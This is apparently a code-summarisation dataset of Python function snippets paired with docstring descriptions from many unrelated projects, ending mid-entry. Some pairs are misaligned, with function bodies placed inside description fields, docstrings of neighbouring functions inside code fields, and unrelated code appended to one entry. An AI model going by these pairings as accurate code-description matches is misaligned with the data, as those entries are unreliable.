GetLocalInstanceName():\n req = urllib.request.Request(\n 'http://metadata.google.internal/computeMetadata/v1/instance/name', None,\n {'Metadata-Flavor': 'Google'})\n try:\n instance = urllib.request.urlopen(req).read().decode('utf-8')\n except urllib.error.HTTPError as e:\n raise TurbiniaException('Could not get instance name: {0!s}'.format(e))\n\n return instance\n\n", "nl": "Gets the instance name of the current machine.Returns:The instance name as a stringRaises:TurbiniaException: If instance name cannot be determined from metadataserver."} {"code": "def __init__(self, time_in_seconds: int = None, offset_in_nanos: int = None):\n pass\n self.__time_in_seconds = time_in_seconds\n self.__offset_in_nanos = offset_in_nanos\n", "nl": ":param time_in_seconds: The timestamp date, in seconds, in the Unix epoch format. Fractional nanosecond data is provided by offsetInNanos.:param offset_in_nanos: The nanosecond offset from timeInSeconds."} {"code": "def isSQLite3(filename):\n\n if not os.path.isfile(filename):\n return False\n if os.path.getsize(filename) < 100:\n return False\n\n with open(filename, 'rb') as fd:\n header = fd.read(100)\n\n return header[:16] == 'SQLite format 3\\x00'\n\n\nimport sqlite3\nimport os\n\ndir = os.path.dirname(__file__)\nfilename = os.path.join(dir,'/sillllly.db')\nconn = sqlite3.connect(filename)\n\n\nimport os\nprint('\\n'.join(func(__file__) for func in (str, os.path.abspath, os.path.normcase, os.path.realpath)))\nprint(os.path.relpath(__file__, os.curdir))", "nl": "try and determine if the filename is a valid sqlite3 database. if the filename does not exist, still returns False.copied this code from stackflow"} {"code": "def warmup_learning_rate(optimizer, lr, step):\n base_lr = lr / 5\n for param_group in optimizer.param_groups:\n param_group['lr'] = base_lr * step\n", "nl": "Sets the learning rate to the initial LR decayed by 10 at every specified step# Adapted from PyTorch Imagenet example:# https://github.com/pytorch/examples/blob/master/imagenet/main.py"} {"code": "def get_value(self):\n return float(self.value[self.main])\n", "nl": " Get the main value for the estimator. For example, for the \\estimator Mean this would be the mean itself."} {"code": "def _link_repl(self, groups):\n generic method to handle the macro, used for all variants:\n inline, inline-tag, block\n \"\"\"", "nl": "Handle all kinds of links.target = groups.get('link_target', \"\")text = (groups.get('link_text', \"\") or \"\").strip()parent = self.curself.cur = DocNode('link', self.cur)self.cur.content = targetself.text = Nonere.sub(self.link_re, self._replace, text)self.cur = parentself.text = None_link_target_repl = _link_repl_link_text_repl = _link_repl# --------------------------------------------------------------------------def _add_macro(self, groups, macro_type, name_key, args_key, text_key=None):"} {"code": "def extract_instruction(instruction):\n if instruction is None:\n return \"\"\n\n return f\"{instruction.strip()}\\n\\n\"\n\n", "nl": "Extract `instruction` parameter and format it properly.If not exist, return empty string."} {"code": "def _cross_merge_list(l1, l2):\n i = 0\n l = []\n while i < len(l1) and i < len(l2):\n l.append(l1[i])\n l.append(l2[i])\n i += 1\n if i < len(l1):\n l += l1[i:]\n if i < len(l2):\n l += l2[i:]\n return l\n\n @staticmethod", "nl": ">>> Quality.SortPolicy._cross_merge_list([1, 2], [3])[1, 3, 2]>>> Quality.SortPolicy._cross_merge_list([3], [1, 2])[3, 1, 2]"} {"code": "def market_depth(self):\n\n Returns\n -------\n A list of dicts:\n {u'amount': 60,\n u'date': 1306775375,\n u'price': 8.7401099999999996,\n u'tid': u'93842'},\n\n \"\"\"", "nl": "Get market depthapi = \"data/getDepth.php\"return self._curl_mtgox(api=api)def recent_trades(self):Get recent trades"} {"code": "def nq_multihop():\n train_data = [json.loads(l) for l in open(\"/private/home/xwhan/data/nq-dpr/results/nq-train-shared-dpr-top100.txt\").readlines()]\n val_data = [json.loads(l) for l in open(\"/private/home/xwhan/data/nq-dpr/results/nq-val-shared-dpr-top100.txt\").readlines()]\n\n train_ = [json.loads(l) for l in open(\"/private/home/xwhan/data/nq-dpr/nq-train-simplified.txt\")]\n val_ = [json.loads(l) for l in open(\"/private/home/xwhan/data/nq-dpr/nq-val-simplified.txt\")]\n\n for split, data, orig in zip([\"train\", \"val\"], [train_data, val_data], [train_, val_]):\n data_recursive = []\n for idx, item in enumerate(data):\n assert item[\"question\"] == orig[idx][\"question\"]\n pos_paras = orig[idx][\"pos_paras\"]\n top_neg = []\n for para, label in item[\"topk\"]:\n if label == 0:\n top_neg.append(para)\n data_recursive.append({\n \"question\": item[\"question\"],\n \"ans\": item[\"ans\"],\n \"dpr_neg\": orig[idx][\"neg_paras\"],\n \"top_neg\": top_neg,\n \"pos_paras\": pos_paras,\n })\n\n print(len(data_recursive))\n with open(f\"/private/home/xwhan/data/nq-dpr/nq-mhop/nq-mhop-{split}-dpr-shared-top100.txt\", \"w\") as g:\n for _ in data_recursive:\n g.write(json.dumps(_) + \"\\n\")\n", "nl": "experiments with nq multihop:try to recover from error cases with recursive dense retrieval"} {"code": "def to_standardonly(in_file, ref_file, data):\n from bcbio.heterogeneity import chromhacks\n out_file = \"%s-stdchrs.vcf.gz\" % utils.splitext_plus(in_file)[0]\n if not utils.file_exists(out_file):\n stds = []\n for c in ref.file_contigs(ref_file):\n if chromhacks.is_nonalt(c.name):\n stds.append(c.name)\n if stds:\n with file_transaction(data, out_file) as tx_out_file:\n stds = \",\".join(stds)\n in_file = bgzip_and_index(in_file, data[\"config\"])\n cmd = \"bcftools view -o {tx_out_file} -O z {in_file} {stds}\"\n do.run(cmd.format(**locals()), \"Subset to standard chromosomes\")\n return bgzip_and_index(out_file, data[\"config\"]) if utils.file_exists(out_file) else in_file\n", "nl": "Subset a VCF input file to standard chromosomes (1-22,X,Y,MT)."} {"code": "def test_course_run_has_connected_lms(self):\n course_run = CourseRunFactory(\n resource_link=\"http://example.edx:8073/courses/course-v1:edX+DemoX+Demo_Course/course/\"\n )\n self.assertEqual(has_connected_lms(course_run), True)\n\n @override_settings(RICHIE_LMS_BACKENDS=[])", "nl": "When there is a matching LMS backend, the filter returns True."} {"code": "def compute_label_conversions(self):\n can_labels, mod_labels = [], []\n can_grouped_mods = dict((can_b, 0) for can_b in self.can_bases)\n for b, can_b in zip(self.alphabet, self.collapse_alphabet):\n can_labels.append(self.can_bases.find(can_b))\n if b in self.can_bases:\n mod_labels.append(0)\n else:\n can_grouped_mods[can_b] += 1\n mod_labels.append(can_grouped_mods[can_b])\n self.can_labels = np.array(can_labels)\n self.mod_labels = np.array(mod_labels)\n", "nl": " Compute conversion arrays from input label to canonical base andmodified training label valuesReturns:None: Layer adjusted in-place"} {"code": "def forward(self, q_data: torch.Tensor, m_data: torch.Tensor, q_mask: torch.Tensor, bias: torch.Tensor) -> torch.Tensor:\n\t\tassert self.key_dim * self.num_head == q_data.size(-1)\n\t\tassert self.value_dim * self.num_head == m_data.size(-1)\n\n\t\tv = torch.einsum('bka,ac->bkc', m_data, self.v_weights)\n\n\t\tq_avg = self.mask_mean(q_mask, q_data, dims=[1])\n\n\t\tq = torch.einsum('ba,ahc->bhc', q_avg, self.q_weights) * self.key_dim **(-0.5)\n\t\tk = torch.einsum('bka,ac->bkc', m_data, self.k_weights)\n\t\tbias = (1e9*(q_mask[:,None,:,0].to(dtype=q_data.dtype) - 1.0))\n\n\t\tlogits = torch.einsum('bhc,bkc->bhk', q, k) + bias\n\t\tweights = self.softmax(logits)\n\t\tweighted_avg = torch.einsum('bhk,bkc->bhc', weights, v)\n\n\t\tif self.config.gating:\n\t\t\tgate_values = torch.einsum('bqc,chv->bqhv', q_data, self.gating_w) + self.gating_b\n\t\t\tgate_values = self.sigmoid(gate_values)\n\t\t\tweighted_avg = weighted_avg[:, None] * gate_values\n\t\t\toutput = torch.einsum('bqhc,hco->bqo', weighted_avg, self.o_weights) + self.o_bias\n\t\telse:\n\t\t\toutput = torch.einsum('bhc,hco->bo', weighted_avg, self.o_weights) + self.o_bias\n\t\t\toutput = output[:, None]\n\t\treturn output\n\nclass MSAColumnGlobalAttention(nn.Module):\n\t\"\"\"", "nl": "Arguments:q_data: [batch_size, num_queries, querry_dim]m_data: [batch_size, num_keys, value_dim]q_mask: [batch_size, num_queries, querry_dim]bias: [batch_size, num_queries, num_keys]Returns:[batch_size, num_queries, output_dim]"} {"code": "def _eval_evalf(self, prec):\n res = self.regref.val\n if res is None:\n raise ParameterError(\n \"{}: trying to use a nonexistent measurement result (e.g., before it has been measured).\".format(\n self\n )\n )\n\n try:\n res = np.squeeze(res).item()\n except ValueError:\n res = np.squeeze(res)\n\n return res\n\n\nclass FreeParameter(sympy.Symbol):\n \"\"\"Named symbolic Operation parameter.\n", "nl": "Returns the numeric result of the measurement if it is available.Returns:Any: measurement resultRaises:ParameterError: iff the parameter has not been measured yet"} {"code": "def _ParseOrMerge(self, lines, message):\n tokenizer = Tokenizer(lines)\n while not tokenizer.AtEnd():\n self._MergeField(tokenizer, message)\n", "nl": "Converts a text representation of a protocol message into a message.Args:lines: Lines of a message's text representation.message: A protocol buffer message to merge into.Raises:ParseError: On text parsing problems."} {"code": "def testValidPlainReadingEntitiesAccepted(self):\n if not hasattr(self.readingOperatorClass, \"getPlainReadingEntities\"):\n return\n\n forms = []\n forms.extend(self.DIALECTS)\n if {} not in forms:\n forms.append({})\n for dialect in forms:\n plainEntities = self.f.getPlainReadingEntities(self.READING_NAME,\n **dialect)\n for plainEntity in plainEntities:\n self.assert_(\n self.f.isPlainReadingEntity(plainEntity, self.READING_NAME,\n **dialect),\n \"Plain entity %s not accepted\" % repr(plainEntity) \\\n + ' (reading %s, dialect %s)' \\\n % (self.READING_NAME, dialect))\n\n @attr('quiteslow')", "nl": "Test if all plain reading entities returned by``getPlainReadingEntities()`` are accepted by ``isPlainReadingEntity()``."} {"code": "def test_range(self):\n self.assertEqual(\n self.resource._parseRangeHeader(b'bytes=2-5'), [(2, 5)])\n\n", "nl": "A single bytes range with explicit start and stop positions is parsedinto a two-tuple of those positions."} {"code": "def removeThoughtPrefix(message):\n if (isThought(message)):\n return message[len(ThoughtPrefix):]\n else:\n return message", "nl": "message is a string.Return the string with the thought prefix removed"} {"code": "def scanString(self, instring, maxMatches=_MAX_INT, overlap=False):\n if not self.streamlined:\n self.streamline()\n for e in self.ignoreExprs:\n e.streamline()\n\n if not self.keepTabs:\n instring = _ustr(instring).expandtabs()\n instrlen = len(instring)\n loc = 0\n preparseFn = self.preParse\n parseFn = self._parse\n ParserElement.resetCache()\n matches = 0\n try:\n while loc <= instrlen and matches < maxMatches:\n try:\n preloc = preparseFn(instring, loc)\n nextLoc, tokens = parseFn(instring, preloc, callPreParse=False)\n except ParseException:\n loc = preloc + 1\n else:\n if nextLoc > loc:\n matches += 1\n yield tokens, preloc, nextLoc\n if overlap:\n nextloc = preparseFn(instring, loc)\n if nextloc > loc:\n loc = nextLoc\n else:\n loc += 1\n else:\n loc = nextLoc\n else:\n loc = preloc + 1\n except ParseBaseException as exc:\n if ParserElement.verbose_stacktrace:\n raise\n else:\n raise exc\n", "nl": "Scan the input string for expression matches. Each match will return thematching tokens, start location, and end location. May be called with optional``maxMatches`` argument, to clip scanning after 'n' matches are found. If``overlap`` is specified, then overlapping matches will be reported.Note that the start and end locations are reported relative to the stringbeing parsed. See :class:`parseString` for more information on parsingstrings with embedded tabs.Example::source = \"sldjf123lsdjjkf345sldkjf879lkjsfd987\"print(source)for tokens, start, end in Word(alphas).scanString(source):print(' '*start + '^'*(end-start))print(' '*start + tokens[0])prints::sldjf123lsdjjkf345sldkjf879lkjsfd987^^^^^sldjf^^^^^^^lsdjjkf^^^^^^sldkjf^^^^^^lkjsfd"} {"code": "def inorderSuccessor(self, root, p):\n\n if root is None or p is None:\n return None\n\n cur = root\n ans = None\n while(cur.val != p.val):\n if cur.val < p.val:\n cur = cur.right\n\n if cur.val > p.val:\n ans = cur\n cur = cur.left\n\n if p.right is not None:\n cur = p.right\n while(cur.left):\n cur = cur.left\n ans = cur\n\n return ans", "nl": ":type root: TreeNode:type p: TreeNode:rtype: TreeNode"} {"code": "def baseColorFactor(self):\n return self._baseColorFactor\n\n @baseColorFactor.setter", "nl": "(4,) float or :class:`Texture` : The RGBA base color multiplier."} {"code": "def get_customer_by_id(self, customer_id):\n logger.info(\"Getting SecureApp customer with ID '%s'.\", customer_id)\n try:\n response_string = self.get_uri(\n \"/securechangeworkflow/api/secureapp/customers/{}\".format(customer_id),\n expected_status_codes=200).response.content\n except REST_Not_Found_Error:\n message = \"Customer with ID '{}' does not exist.\".format(customer_id)\n logger.critical(message)\n raise ValueError(message)\n except REST_Bad_Request_Error:\n message = \"Failed to GET SecureApp customer. Check if you are not in a single mode\".format(customer_id)\n logger.critical(message)\n raise ValueError(message)\n except RequestException:\n message = \"Failed to GET SecureApp customer.\"\n logger.critical(message)\n raise IOError(message)\n return Customer.from_xml_string(response_string)\n", "nl": "Get the SecureApp customer whose ID matches the specified ID.:param customer_id: The ID for the customer which will be returned.:type customer_id: int:return: The customer whose ID matches the specified ID.:rtype:Customer:raise ValueError: If an customer with the specified ID is not found.:raise IOError: If there was a communication error."} {"code": "def set_environment(self):\n", "nl": "Sets environment vars from project config.env_variable_values = self.get('env')if not env_variable_values:returnfor variable, value in six.iteritems(env_variable_values):if variable in os.environ:# Don't override existing values.continueos.environ[variable] = str(value)class AuthConfig(Config):Authentication config."} {"code": "def too_many_arguments_function(arga, argu, argi, arge, argt, args): # [too-many-arguments]\n\n Consequently pylint will only coun 13 arguments.\n \"\"\"", "nl": "pylint will complains about too many arguments.arga = arguarga += argiarga += argearga += argtarga += argsreturn argadef ignored_arguments_function(arga, argu, argi,_arge=0, _argt=1, _args=None):pylint will ignore _arge, _argt, _args."} {"code": "def get_one(self, field_id):\n hashmap = db_api.get_instance()\n try:\n field_db = hashmap.get_field(uuid=field_id)\n return field_models.Field(**field_db.export_model())\n except db_api.NoSuchField as e:\n pecan.abort(404, e.args[0])\n\n @wsme_pecan.wsexpose(field_models.Field,\n body=field_models.Field,\n status_code=201)", "nl": "Return a field.:param field_id: UUID of the field to filter on."} {"code": "def to_element(self, include_namespaces=False):\n elt_attrib = {}\n if include_namespaces:\n elt_attrib.update(\n {\n \"xmlns\": \"urn:schemas-upnp-org:metadata-1-0/DIDL-Lite/\",\n \"xmlns:dc\": \"http://purl.org/dc/elements/1.1/\",\n \"xmlns:upnp\": \"urn:schemas-upnp-org:metadata-1-0/upnp/\",\n }\n )\n elt_attrib.update(\n {\n \"parentID\": self.parent_id,\n \"restricted\": \"true\" if self.restricted else \"false\",\n \"id\": self.item_id,\n }\n )\n elt = XML.Element(self.tag, elt_attrib)\n\n XML.SubElement(elt, \"dc:title\").text = self.title\n\n for resource in self.resources:\n elt.append(resource.to_element())\n\n for key, value in self._translation.items():\n if hasattr(self, key):", "nl": "Return an ElementTree Element representing this instance.Args:include_namespaces (bool, optional): If True, include xmlnamespace attributes on the root elementReturn:~xml.etree.ElementTree.Element: an Element."} {"code": "def test_load():\n layout = parse_layout(layout1)\n assert layout['bots'] == [(6, 1), (2, 2), (1, 2),(5, 1)]\n", "nl": "layout1=######### ###ya##bx ...#########"} {"code": "def select_data(self, a, b):\n assert 0 <= a < b <= len(self.pos1)\n logger.info(\"Selecting sentences from %i to %i ...\" % (a, b))\n\n self.pos1 = self.pos1[a:b]\n self.pos2 = self.pos2[a:b]\n self.lengths1 = self.pos1[:, 1] - self.pos1[:, 0]\n self.lengths2 = self.pos2[:, 1] - self.pos2[:, 0]\n\n min_pos1 = self.pos1.min()\n max_pos1 = self.pos1.max()\n min_pos2 = self.pos2.min()\n max_pos2 = self.pos2.max()\n self.pos1 -= min_pos1\n self.pos2 -= min_pos2\n self.sent1 = self.sent1[min_pos1:max_pos1 + 1]\n self.sent2 = self.sent2[min_pos2:max_pos2 + 1]\n\n", "nl": "Only select a subset of the dataset."} {"code": "def nac_w_variance(r):\n if (r == 0):\n return 0\n else:\n return (1 - np.tanh(r) / r) * (r - np.tanh(r / 2)) * (1 / (2 * r))\n", "nl": "Calculates the variance of W.Asumming \\hat{w} and \\hat{m} are sampled from a uniformdistribution with range [-r, r], this is the varianceof w = tanh(\\hat{w})*sigmoid(\\hat{m})."} {"code": "def param_dtypes_shapes(params: Mapping[str, Any]) -> Dict[str, Any]:\n\n The leaf of the constructed dtree are of format [, , ...],\n where each is of format =.\n\n Args:\n params: Model params.\n params_axes: Axis annotations, typically under state[\"params_axes\"].\n\n Returns:\n A pytree with params info.\n \"\"\"", "nl": "Converts a tree of params into a tree of param dtypes and shapes.params = param_remapping.filter_out_metadata(params)return jax.tree_map(lambda x: [str(x.dtype)] + list(x.shape),frozen_dict.unfreeze(params)) # pytype: disable=wrong-arg-typesdef param_dtypes_shapes_axes(params: Mapping[str, Any],params_axes: Mapping[str, Any]) -> Dict[str, Any]:Construct a tree of param info including dtypes, shapes, and axis names."} {"code": "def get_df_from_single_artifact_or_execution(self, obj):\n data = {}\n if isinstance(obj, metadata_store_pb2.Artifact):\n data['URI'] = obj.uri\n for p in obj.properties:\n data[p.upper()] = _get_value_str(obj.properties[p])\n for p in obj.custom_properties:\n data[p.upper()] = _get_value_str(obj.custom_properties[p])\n return pd.DataFrame.from_dict(\n data=data, orient='index', columns=['']).fillna('-')\n", "nl": "Returns a `pd.DataFrame` based on an artifact/execution properties.Args:obj: An instance of `metadata_store_pb2.Artifact` or`metadata_store_pb2.Execution`.Returns:A `pd.DataFrame` to display the properties of an artifact/execution."} {"code": "def label(self):\n group_names = sorted([m.player_name for m in self.members])\n return \", \".join(group_names)\n\n @property", "nl": "str: A description of the group.>>> device.group.label'Kitchen, Living Room'"} {"code": "def evaluate_marker(text, extra=None):\n try:\n marker = packaging.markers.Marker(text)\n return marker.evaluate()\n except packaging.markers.InvalidMarker as e:\n raise SyntaxError(e)\n\n\nclass NullProvider:\n \"\"\"Try to implement resources and metadata for arbitrary PEP 302 loaders\"\"\"", "nl": "Evaluate a PEP 508 environment marker.Return a boolean indicating the marker result in this environment.Raise SyntaxError if marker is invalid.This implementation uses the 'pyparsing' module."} {"code": "def upkeep(self, custom_repos=None):\n from autotest.server import subcommand\n if not custom_repos:\n try:\n custom_repos = settings.get_value('PACKAGES',\n 'custom_upload_location').split(',')\n except SettingsError:\n custom_repos = []\n try:\n custom_download = settings.get_value('PACKAGES',\n 'custom_download_location')\n custom_repos += [custom_download]\n except SettingsError:\n pass\n\n if not custom_repos:\n return\n\n subcommand.parallel_simple(trim_custom_directories, custom_repos,\n log=False)\n", "nl": "Clean up custom upload/download areas"} {"code": "def render(self, node, context): # pylint: disable=W0613\n return super(ContextAwareTag, self).render(node, context.handler)\n", "nl": "Receive a node and return a node.Args:node: cElementTree.Element. The DOM node for the tag which should berendered.context: Context. The context shared between instances of the tag.Returns:A cElementTree.Element holding the rendered DOM."} {"code": "default=\"save/restore_all\",\n parser.add_argument(\n \"--filename_tensor_name\",\n type=str,", "nl": "help=\\The name of the master restore operator. Deprecated, unused by updated \\loading code.)"} {"code": "def ihook(self):\n\n Warnings will be displayed after the test session, unless explicitly suppressed\n\n :param Warning warning: the warning instance to issue. Must be a subclass of PytestWarning.\n\n :raise ValueError: if ``warning`` instance is not a subclass of PytestWarning.\n\n Example usage:\n\n .. code-block:: python\n\n node.warn(PytestWarning(\"some message\"))\n\n \"\"\"", "nl": " fspath sensitive hook proxy used to call pytest hooksreturn self.session.gethookproxy(self.fspath)def __repr__(self):return \"<%s %s>\" % (self.__class__.__name__, getattr(self, \"name\", None))def warn(self, warning):Issue a warning for this item."} {"code": "def hasSpecies(self, species):\n for flower in self.flowerlist:\n if (flower.getSpecies() == species):\n return 1\n return 0\n", "nl": "Return 1 if we have a flower specified by this speciesReturn 0 if we do not"} {"code": "def filter_prediction(self, boxes, probs, cls_idx):\n mc = self.mc\n\n if mc.TOP_N_DETECTION < len(probs) and mc.TOP_N_DETECTION > 0:\n order = probs.argsort()[:-mc.TOP_N_DETECTION-1:-1]\n probs = probs[order]\n boxes = boxes[order]\n cls_idx = cls_idx[order]\n else:\n filtered_idx = np.nonzero(probs>mc.PROB_THRESH)[0]\n probs = probs[filtered_idx]\n boxes = boxes[filtered_idx]\n cls_idx = cls_idx[filtered_idx]\n\n final_boxes = []\n final_probs = []\n final_cls_idx = []\n\n for c in range(mc.CLASSES):\n idx_per_class = [i for i in range(len(probs)) if cls_idx[i] == c]\n keep = util.nms(boxes[idx_per_class], probs[idx_per_class], mc.NMS_THRESH)\n for i in range(len(keep)):\n if keep[i]:\n final_boxes.append(boxes[idx_per_class[i]])\n final_probs.append(probs[idx_per_class[i]])\n final_cls_idx.append(c)\n return final_boxes, final_probs, final_cls_idx\n", "nl": "Filter bounding box predictions with probability threshold andnon-maximum supression.Args:boxes: array of [cx, cy, w, h].probs: array of probabilitiescls_idx: array of class indicesReturns:final_boxes: array of filtered bounding boxes.final_probs: array of filtered probabilitiesfinal_cls_idx: array of filtered class indices"} {"code": "def _wrap_port_ptr(self, ptr):\n\n This class cannot be instantiated directly. Instead, instances of\n this class are returned from `Client.get_port_by_name()`,\n `Client.get_ports()`, `Client.get_all_connections()` and\n `OwnPort.connections`.\n In addition, instances of this class are available in the callbacks\n which are set with `Client.set_port_registration_callback()`,\n `Client.set_port_connect_callback()` or\n `Client.set_port_rename_callback`.\n\n Note, however, that if the used `Client` owns the respective port,\n instances of `OwnPort` (instead of `Port`) will be created. In case\n of MIDI ports, instances of `MidiPort` or `OwnMidiPort` are created.\n\n Besides being the type of non-owned JACK audio ports, this class\n also serves as base class for all other port classes (`OwnPort`,\n `MidiPort` and `OwnMidiPort`).\n\n New JACK audio/MIDI ports can be created with the\n :meth:`~Ports.register` method of `Client.inports`,\n `Client.outports`, `Client.midi_inports` and `Client.midi_outports`.\n\n \"\"\"", "nl": "Create appropriate port object for a given port pointer.porttype = _ffi.string(_lib.jack_port_type(ptr))if porttype == _AUDIO:cls = OwnPort if self.owns(ptr) else Portelif porttype == _MIDI:cls = OwnMidiPort if self.owns(ptr) else MidiPortelse:assert Falsereturn cls(ptr, self)class Port:A JACK audio port."} {"code": "def get_code(self, fullname):\n return None\n\n @_check_name", "nl": "Return None as an extension module cannot create a code object.return Nonedef get_source(self, fullname):Return None as extension modules have no source code."} {"code": "def setName(self, name):\n self.stub.SetName(filter_pb2.FilterSetNameRequest(filter=self.data, name=name),\n timeout=Cuebot.Timeout)\n", "nl": "Sets the name of the filter.:type name: str:param name: new filter name"} {"code": "def restore(history_path=None, db_name=None, max_lines=None):\n if (history_path is None):", "nl": "Append history from a sqlite db to the given history file.Creates the file if it doesn't exist"} {"code": "def _cursor_namespace(self):\n raise NotImplementedError\n\n @property", "nl": "The namespace in which the aggregate command is run.raise NotImplementedErrordef _cursor_collection(self, cursor_doc):The Collection used for the aggregate command cursor."} {"code": "def test_update_section(self):\n\n section = DispatchTestHelpers.create_section(self.client)\n\n self.client.credentials()\n\n url = reverse('api-sections-detail', args=[section.data['id']])\n\n response = self.client.delete(url, format='json')\n\n self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED)\n\n try:\n Section.objects.get(pk=section.data['id'])\n except Section.DoesNotExist:\n self.fail('Section should not have been deleted')\n", "nl": "Ensure that section can be updatedsection = DispatchTestHelpers.create_section(self.client)# Check dataself.assertEqual(section.data['name'], 'Test Section')self.assertEqual(section.data['slug'], 'test-section')data = {'name': 'new name','slug': 'new-slug',}url = reverse('api-sections-detail', args=[section.data['id']])updated_section = self.client.patch(url, data, format='json')self.assertEqual(updated_section.data['name'], 'new name')self.assertEqual(updated_section.data['slug'], 'new-slug')def test_delete_section_unauthorized(self):Delete section should fail with unauthenticated request"} {"code": "def _parseBioBy(l):\n res = {}\n bio = ' '.join(_parseList(biol, 'BG', mline=0))\n bio = _parseBioBy(biol)\n if bio:\n res['mini biography'] = bio\n\n for x in biol:\n x4 = x[:4]\n x6 = x[:6]\n if x4 == 'DB: ':\n date, notes = date_and_notes(x[4:])\n if date:\n res['birth date'] = date\n if notes:\n res['birth notes'] = notes\n elif x4 == 'DD: ':\n date, notes = date_and_notes(x[4:])\n if date:\n res['death date'] = date\n if notes:\n res['death notes'] = notes\n elif x6 == 'SP: * ':", "nl": "Return a list of biographies.bios = []biosappend = bios.appendtmpbio = []tmpbioappend = tmpbio.appendjoiner = ' '.joinfor line in l:if line[:4] == 'BG: ':tmpbioappend(line[4:].strip())elif line[:4] == 'BY: ':if tmpbio:biosappend(joiner(tmpbio) + '::' + line[4:].strip())tmpbio[:] = []# Cut mini biographies up to 2**16-1 chars, to prevent errors with# some MySQL versions - when used by the imdbpy2sql.py script.bios[:] = [bio[:65535] for bio in bios]return biosdef _parseBiography(biol):Parse the biographies.data file."} {"code": "def add_pantacor_device(context):\n context.deployment_id = \"test_deployment_id\"\n\n\n@when(\"the user selects to apply the update\")", "nl": "Add a device with a Pantacor config and software update set to manual.context.device_id = add_device(context.db, context.accounts[\"foo\"].id, context.geography_id)add_pantacor_config(context.db, context.device_id)@given(\"the device has pending deployment from Pantacor\")def add_pantacor_deployment_id(context):Add a dummy deployment ID to the context for use later in tests."} {"code": "def write(self, filename):\n logging.info(\"Writing LookML to %s\" % filename)\n with open(filename, 'w') as the_file:\n for line in self.lines:\n the_file.write(line)", "nl": "write modified LookML to filenameArgs:filename (str): filepath of file to write toReturns:nothing. Side effect is to write data to file"} {"code": "def on_terminate(self):\n pass", "nl": "This method gets called when the transform's execution is prematurely terminated. It is only applicable forlocal transforms."} {"code": "def _get_neg_grad_and_hessian_diags(self, tree, y: np.ndarray, y_hat: np.ndarray, iteration: int, x: np.ndarray):\n if iteration == 0:\n leaves_idx = [np.ones(len(y), dtype=bool)]\n else:\n leaves_idx = tree._find_regions(x, y)\n\n grad, hessian_diags = tree.loss.get_grad_and_hessian_diags(y, y_hat, iteration, leaves_idx)\n\n return - grad, hessian_diags\n", "nl": "Returns the negative gradient at current iteration for all the observations, and a matrix which ith row isthe diagonal of the Hessian for the current observation. This matrix is later used by the loss functions toobtain the inverse of the Hessian in each leaf, with proper dimensions.:param tree: current fitted tree:param y: targets:param y_hat: predictions at current iteration:param iteration: current iteration:param x: feature treaning set (for finding tree regions, if needed by the loss,as for the quadratic_quantile loss):return: negative gradient and Hessian's diags"} {"code": "def hard_example_mining(dist_mat, labels, return_inds=False):\n\n assert len(dist_mat.size()) == 2\n assert dist_mat.size(0) == dist_mat.size(1)\n N = dist_mat.size(0)\n\n is_pos = labels.expand(N, N).eq(labels.expand(N, N).t())\n is_neg = labels.expand(N, N).ne(labels.expand(N, N).t())\n\n dist_ap, relative_p_inds = torch.max(\n dist_mat[is_pos].contiguous().view(N, -1), 1, keepdim=True)\n dist_an, relative_n_inds = torch.min(\n dist_mat[is_neg].contiguous().view(N, -1), 1, keepdim=True)\n dist_ap = dist_ap.squeeze(1)\n dist_an = dist_an.squeeze(1)\n\n if return_inds:\n ind = (labels.new().resize_as_(labels)\n .copy_(torch.arange(0, N).long())\n .unsqueeze(0).expand(N, N))\n p_inds = torch.gather(\n ind[is_pos].contiguous().view(N, -1), 1, relative_p_inds.data)\n n_inds = torch.gather(\n ind[is_neg].contiguous().view(N, -1), 1, relative_n_inds.data)\n p_inds = p_inds.squeeze(1)\n n_inds = n_inds.squeeze(1)\n return dist_ap, dist_an, p_inds, n_inds\n\n return dist_ap, dist_an\n\n\nclass TripletLoss(object):\n \"\"\"Modified from Tong Xiao's open-reid (https://github.com/Cysu/open-reid).\n", "nl": "For each anchor, find the hardest positive and negative sample.Args:dist_mat: pytorch Variable, pair wise distance between samples, shape [N, N]labels: pytorch LongTensor, with shape [N]return_inds: whether to return the indices. Save time if `False`(?)Returns:dist_ap: pytorch Variable, distance(anchor, positive); shape [N]dist_an: pytorch Variable, distance(anchor, negative); shape [N]p_inds: pytorch LongTensor, with shape [N];indices of selected hard positive samples; 0 <= p_inds[i] <= N - 1n_inds: pytorch LongTensor, with shape [N];indices of selected hard negative samples; 0 <= n_inds[i] <= N - 1NOTE: Only consider the case in which all labels have same num of samples,thus we can cope with all anchors in parallel."} {"code": "def on_unblocked(self, name):\n self.logger.debug('Connection %s has been unblocked', name)\n", "nl": "Called when a connection for this consumer is unblocked.Override this method to respond to being blocked... versionadded:: 3.17:param str name: The connection name that is blocked"} {"code": "def setup(self):\n\n self.clear()\n\n self.camera.use()\n\n self.scene.draw()\n\n self.gui_camera.use()\n\n score_text = f\"Score: {self.score}\"\n arcade.draw_text(\n score_text,\n 10,\n 10,\n arcade.csscolor.BLACK,\n 18,\n )\n\n", "nl": "Set up the game here. Call this function to restart the game.# Set up the Camerasself.camera = arcade.Camera(self.width, self.height)self.gui_camera = arcade.Camera(self.width, self.height)# Map namemap_name = \":resources:tiled_maps/map_with_ladders.json\"# Layer Specific Options for the Tilemaplayer_options = {LAYER_NAME_PLATFORMS: {\"use_spatial_hash\": True,},LAYER_NAME_MOVING_PLATFORMS: {\"use_spatial_hash\": False,},LAYER_NAME_LADDERS: {\"use_spatial_hash\": True,},LAYER_NAME_COINS: {\"use_spatial_hash\": True,},}# Load in TileMapself.tile_map = arcade.load_tilemap(map_name, TILE_SCALING, layer_options)# Initiate New Scene with our TileMap, this will automatically add all layers# from the map as SpriteLists in the scene in the proper order.self.scene = arcade.Scene.from_tilemap(self.tile_map)# Keep track of the scoreself.score = 0# Set up the player, specifically placing it at these coordinates.self.player_sprite = PlayerCharacter()self.player_sprite.center_x = (self.tile_map.tile_width * TILE_SCALING * PLAYER_START_X)self.player_sprite.center_y = (self.tile_map.tile_height * TILE_SCALING * PLAYER_START_Y)self.scene.add_sprite(LAYER_NAME_PLAYER, self.player_sprite)# Calculate the right edge of the my_map in pixelsself.end_of_map = self.tile_map.width * GRID_PIXEL_SIZE# -- Enemiesenemies_layer = self.tile_map.object_lists[LAYER_NAME_ENEMIES]for my_object in enemies_layer:cartesian = self.tile_map.get_cartesian(my_object.shape[0], my_object.shape[1])enemy_type = my_object.properties[\"type\"]if enemy_type == \"robot\":enemy = RobotEnemy()elif enemy_type == \"zombie\":enemy = ZombieEnemy()enemy.center_x = math.floor(cartesian[0] * 